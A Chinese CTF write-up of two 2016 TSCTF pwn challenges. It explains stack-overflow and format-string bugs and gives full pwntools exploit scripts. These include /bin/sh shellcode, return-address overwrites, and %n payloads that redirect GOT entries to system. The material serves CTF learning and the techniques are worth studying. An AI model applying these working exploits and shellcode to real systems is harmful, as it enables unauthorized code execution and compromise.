2016 TSCTF 初赛

pwn1

thoughts

在第一个子函数布置shellcode(bss段的地址可定位)。

puts("I'm zhouheiya, what about you?");
read(0, &format, 0x32u);
printf(&format);

此处存在bof,计算偏移覆盖返回地址为bss段中shellcode地址即可。

puts("I'm datouerzi, what about you?");
__isoc99_scanf("%s", &format);
printf(&format);

总结

  1. 存在格式化串漏洞 & got表,可以获得printf函数的实际地址
  2. 格式化串漏洞,当format和参数都在栈上时,可以利用该漏洞 结合 函数的got表,泄漏函数的实际地址。
  3. 当存在bof时,可以使用ret2libc,布置返回地址为func的地址、虚假的返回地址、func的参数。(利用system执行/bin/sh 利用write输出地址的值)

exp

from pwn import *

debug = 1
local = 1
attach = local & 1
bps = attach & 0
proc_name = 'pwn1'
#socat TCP4-LISTEN:10001,fork EXEC:./pwn1
ip = '127.0.0.1'
port = 10001
io = None

def makeio():
    global io 
    if local:
        io = process(proc_name)
    else:
        io = remote(ip,port)
def ru(data):
    return io.recvuntil(data)
def rv():
    return io.recv()
def sl(data):
    return io.sendline(data)
def rl():
    return io.recvline()

def pwn():
    makeio()
    if debug:
        context.log_level = 'debug'
    if attach:
        if bps:
            gdb.attach(pidof(proc_name)[0], open('bps'))
        else:
            gdb.attach(pidof(proc_name)[0])
    #21 bytes
    shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
    shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
    shellcode += "\x0b\xcd\x80"
    sc_addr = 0x804a0a0 + 0x0c
    payload = 'huangmenji\x00\x00' + shellcode
    ru("what about you?\n");sl(payload)
    ru("what about you?\n");sl('zhaoritian')
    ru("what about you?\n");sl('beita')
    ru("what about you?\n");sl('jerry')
    payload = 'xiaotoubaba' 
    payload = payload.ljust(0x3e,'A') + p32(sc_addr)
    ru("what about you?\n");sl(payload)
    io.interactive()


if __name__ == '__main__':
    pwn()

pwn2

thoughts

  1. 存在格式化漏洞:scanf读入最多24个字节的字符串之后,该字符串直接作为printf的format输出。因此可以任意读写。
  2. 程序中存在system(“/bin/sh”)的函数地址。
  3. 利用格式化串漏洞把sys_addr 写入puts或 fflush的got表中,完成利用。
  __isoc99_scanf("%24s", &v5);
  printf("Hello ");
  printf((const char *)&v5);
  puts("!");
  fflush(stdout);

总结

  1. gdb attach时,只能attach到程序输入之后的地方。此时,eip如果很深,设置断点之后c即可回到main函数。
  2. scanf对于某些字符不能读入:

    \x00 & (if character is a white-space)

’ ‘(0x20)space (SPC)
‘\t’(0x09)horizontal tab (TAB)
‘\n’(0x0a)newline (LF)
‘\v’(0x0b)vertical tab (VT)
‘\f’(0x0c)feed (FF)
‘\r’(0x0d)carriage return (CR)

3. 常用格式化串payload:

puts = 0x0804A018
ret_addr = 0x080485AD
ret_l = ret_addr & 0xffff;ret_h = ret_addr >>16
offset = 7
payload = "%" + str(ret_h) + "c%15$hn%" + str( ret_l -ret_h) + "c%14$hnAA"
payload = payload.ljust(28,'A')
payload +=  p32(puts)  + p32(puts+0x2)   
sl(payload)
io.interactive()
  1. 计算格式化offset时,若输入长度没有限制,可以利用:
def exec_fmt(payload):  
    if local:
        p = process(proc_name)
    else:
        p = remote(ip,port)
    p.recvuntil('name\n')
    p.sendline(payload)
    info = p.recv()
    p.close()
    return info
autofmt = FmtStr(exec_fmt)  
print autofmt.offset 

若payload长度没有限制,可以如此利用来写(参考pingme)

offset = 7
payload = fmtstr_payload(offset, {printf_got: system_addr})
p.sendline(payload)
  1. 利用格式化串漏洞读某个got表地址:
ru('name?\n')
payload = p32(0x0804A01C) + "%7$s"
sl(payload)
string = rv()
print "%#x" % u32(string[10:14])

exp

from pwn import *
import time

debug = 1
local = 1
attach = local & 0
bps = attach & 1
proc_name = 'pwn3'
#socat TCP4-LISTEN:10001,fork EXEC:./pwn3
ip = '127.0.0.1'
port = 10001
io = None

def makeio():
    global io 
    if local:
        io = process(proc_name)
    else:
        io = remote(ip,port)
def ru(data):
    return io.recvuntil(data)
def rv():
    return io.recv()
def sl(data):
    return io.sendline(data)
def rl():
    return io.recvline()

def pwn():
    makeio()
    if debug:
        context.log_level = 'debug'
    if attach:
        if bps:
            gdb.attach(pidof(proc_name)[0], open('bps'))
        else:
            gdb.attach(pidof(proc_name)[0])

    puts = 0x0804A018
    ret_addr = 0x080485AD
    payload = "%" +str(ret_addr)+ "c%11$n"
    payload = payload.ljust(16,'A')
    payload +=  p32(puts) 
    # writes = {puts:   ret_addr}
    # payload = fmtstr_payload(7, writes,write_size='int')
    # print payload
    sl(payload)
    io.interactive()


if __name__ == '__main__':
    pwn()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值